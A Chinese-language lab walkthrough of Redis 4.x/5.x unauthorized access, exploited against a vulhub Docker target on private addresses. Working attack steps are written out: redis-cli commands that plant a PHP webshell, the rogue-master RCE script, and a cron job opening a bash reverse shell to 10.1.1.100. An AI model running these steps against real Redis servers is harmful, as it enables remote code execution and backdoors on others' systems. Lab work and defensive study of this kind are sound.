Redis未授权访问

一、漏洞描述

Redis未授权访问 因配置不当可以未经授权访问，攻击者无需认证就可以访问到内部数据。

1. 导致敏感信息泄露

2. 执行 flushall 可清空所有数据

3. 通过数据备份功能往磁盘写入后门文件（webshell、定时任务）

4. 如果Redis以root身份运行，可以给root账户写入SSH公钥文件，免密码登录

Redis主从复制RCE

在 Reids 4.x 之后，Redis新增了模块功能，通过外部拓展，可以实现在redis中实现一个新的Redis命令，通过c语言编译并加载恶意.so文件，达到代码执行的目的

二、影响版本

数据库版本 4.x / 5.x

三、影响组件

Redis 服务器

四、漏洞判断

端口探测

nmap -v -Pn -p 6379 -sV: 192.168.116.149#-v：显示过程   -Pn：no ping   -sV：版本探测

发现 6379 端口开放，版本为 4.x 存在未授权访问漏洞

五、漏洞利用

靶机ip:192.168.116.149

攻击机ip: 192.168.116.151

1、环境搭建

靶机环境搭建：

安装docker

sudo apt-get update
sudo apt-get install apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable"

安装docker

sudo apt-get update

sudo apt-get install docker-ce

安装vulhub

git clone https://gitee.com/puier/vulhub.git

打开环境

docker-compose up -d

docker-compose ps

在后台模式下启动和运行一个或多个容器

查看当前运行的容器

攻击机安装 redis-cli 远程连接工具

wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable
make

将 Redis 客户端命令行工具 redis-cli 的可执行文件复制到 /usr/bin/ 目录下，使其成为系统可执行文件之一

cp src/redis-cli /usr/bin/
redis-cli -h

2、写入webshell

连接redis

写入webshell

config set dir /tmp    
config set dbfilename shell.php
set webshell "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save
#因为靶场没有开启web端口无法直接上传木马文件，所以用写入shell文件的方式添加后门
#写入文件内容时添加几个换行，是因为redis写入文件时会自带一些版本信息，若不换行可能会导致木马无法正常执行

查看靶机，发现webshell已经写入了

docker ps 查看ID

docker exec -it ID /bin/bash 到环境里面

3、使用py脚本执行远程命令

安装py脚本

git clone GitHub - vulhub/redis-rogue-getshell: redis 4.x/5.x master/slave getshell module

cd redis-rogue-getshell/RedisModulesSDK/exp
make

./redis-master.py -r 192.168.116.149 -p 6379 -L 192.168.116.151 -P 8989 -f RedisModulesSDK/exp/exp.so -c "whoami"
执行命令whoami

4、写定时任务反弹shell

攻击机开启监听

因为权限问题我没能利用这个

redis-cli -h 192.168.116.149 -p 6379

set xxx "\n\n*/1 * * * * /bin/bash -i>& /dev/tcp/10.1.1.100/4433 0>&1\n\n"

config set dir /var/spool/cron

config set dbfilename root

save